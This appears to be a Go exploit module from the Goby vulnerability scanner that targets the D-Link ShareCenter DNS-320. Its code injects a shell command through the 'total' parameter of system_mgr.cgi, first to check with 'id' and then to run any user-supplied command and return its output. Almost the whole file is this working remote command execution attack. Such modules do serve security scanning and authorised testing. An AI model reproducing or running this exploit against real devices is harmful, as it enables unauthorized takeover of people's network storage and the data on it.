Goby/go/D_Link_ShareCenter_DNS_320_...

93 lines
2.7 KiB
Go

package exploits
import (
"fmt"
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/scanconfig"
"git.gobies.org/goby/httpclient"
"regexp"
"strings"
)
func init() {
expJson := `{
"Name": "D-Link ShareCenter DNS-320 system_mgr.cgi RCE",
"Description": "D-Link ShareCenter DNS-320 system_ There is remote command execution in mgr.cgi, and the attacker can control the server through the vulnerability",
"Product": "D-Link ShareCenter DNS-320",
"Homepage": "http://www.dlink.com.cn/",
"DisclosureDate": "2021-05-28",
"Author": "PeiQi",
"GobyQuery": "app=\"DLink-DNS-ShareCenter\"",
"Level": "3",
"Impact": "<p>the attacker can control the server through the vulnerability</p>",
"Recommendation": "",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"name": "Cmd",
"type": "input",
"value": "id"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND"
],
"ExploitSteps": null,
"Tags": [
"RCE"
],
"CVEIDs": null,
"CVSSScore": "0.0",
"AttackSurfaces": {
"Application": [
"DLink-DNS-ShareCenter"
],
"Support": null,
"Service": null,
"System": null,
"Hardware": null
},
"Recommandation": "<p>Update</p>"
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
uri := "/cgi-bin/system_mgr.cgi?cmd=cgi_get_log_item&total=;id;"
cfg := httpclient.NewGetRequestConfig(uri)
cfg.VerifyTls = false
cfg.FollowRedirect = false
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "uid")
}
return false
},
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
cmd := ss.Params["Cmd"].(string)
cmd = strings.Replace(cmd, " ", "%20", -1)
uri := "/cgi-bin/system_mgr.cgi?cmd=cgi_get_log_item&total=;" + cmd + ";"
cfg := httpclient.NewGetRequestConfig(uri)
cfg.VerifyTls = false
cfg.FollowRedirect = false
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "Content"){
Data := regexp.MustCompile(`([\s\S]+)Content-type: text/xml`).FindStringSubmatch(resp.Utf8Html)[1]
expResult.Output = Data
expResult.Success = true
}
}
return expResult
},
))
}